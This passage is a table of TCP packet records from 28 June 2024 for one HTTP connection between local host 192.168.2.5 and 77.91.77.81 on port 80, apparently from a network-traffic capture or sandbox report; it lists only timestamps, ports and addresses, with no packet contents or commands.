Jun 28, 2024 13:36:13.070533037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070544958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070554018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070557117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070564985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070574999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070579052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070595980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070615053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070626974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070662022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070750952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070760012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070770025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070780993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070791006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070794106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070801020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070811033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070818901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070822001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070832968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070841074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070851088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070887089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.070986032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.070997953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071007967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071018934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071032047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071048021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071062088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071072102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071082115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071094036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071104050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071104050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071111917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071115971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071122885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071145058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071175098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071299076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071310043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071320057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071331978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071341991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071342945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071351051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071361065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071368933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071369886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071379900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071387053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071391106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071400881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071403027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071412086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071433067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071459055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071506977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071518898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071527958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071538925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071544886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071548939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071557999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071598053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071633101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071643114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071652889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071662903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071681023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071681023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071686029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071696997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071706057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071716070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071726084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071729898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071737051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071748018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071758986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071763039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071787119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071810961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.071958065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071968079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071979046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071989059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.071995974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.072000027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.072010040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.072020054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.072025061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.072043896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.072058916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.098927021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.098987103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.099045038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.099082947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.099090099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.099098921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.099113941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.099122047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.099128962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.099139929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.099143982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.099159956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.099164009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.099185944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.099215031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.115721941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115741968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115756035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115771055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115783930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115796089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.115799904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115832090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115833998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.115847111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.115866899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.115919113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115955114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.115957975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.115998983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116019011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116031885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116045952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116053104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116075993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116096020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116134882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116148949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116163015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116172075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116177082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116190910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116197109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116210938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116213083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116220951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116228104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116245985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116276026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116297960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116319895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116334915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116336107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116348028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.116358995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116369009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.116404057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.153934002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.153949022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.153963089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154011965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154026031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154033899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154038906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154033899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154053926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154068947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154145956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154155970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154155970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154155970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154164076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154186010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154201031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154213905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154215097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154242039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154295921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154316902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154330969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154345036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154356956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154371023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154382944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154383898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154398918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154407024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154433966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154434919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154448986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154459000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154489040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154495955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154510021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154522896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154531002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154536963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154558897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154599905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154617071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154629946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154643059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154653072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154656887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154670954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154673100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154684067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154687881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154706001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154711008 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154745102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154756069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154783964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154789925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154805899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154817104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154819965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154844999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154861927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154910088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154923916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154937983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154946089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154952049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154959917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154963970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154978037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.154980898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.154993057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155006886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155029058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155069113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155082941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155097008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155106068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155109882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155123949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155132055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155137062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155150890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155158997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155179977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155200005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155201912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155214071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155227900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155235052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155240059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155247927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155268908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155288935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155339003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155352116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155364990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155379057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155379057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155391932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155395031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155405998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155416012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155431986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155458927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155474901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155504942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155514956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155519009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155533075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155539036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155546904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155555010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155560017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155572891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155592918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155699968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155735016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.155783892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.155821085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156012058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156050920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156059980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156080008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156094074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156111956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156142950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156177044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156213045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156227112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156248093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156266928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156286955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156301975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156316042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156321049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156337023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156356096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156435966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156450033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156464100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156470060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156477928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156500101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156512976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156522036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156522036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156522036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156537056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156555891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156590939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156605005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156618118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156630993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156636000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156645060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156651974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156660080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156682968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156683922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.156702042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.156728029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.183417082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.183434010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.183446884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.183540106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.183583975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.183670998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.183686018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.183698893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.183713913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.183718920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.183728933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.183742046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.183773994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.200567961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200581074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200598001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200608969 CEST	80	49706	77.91.77.81	192.168.2.5
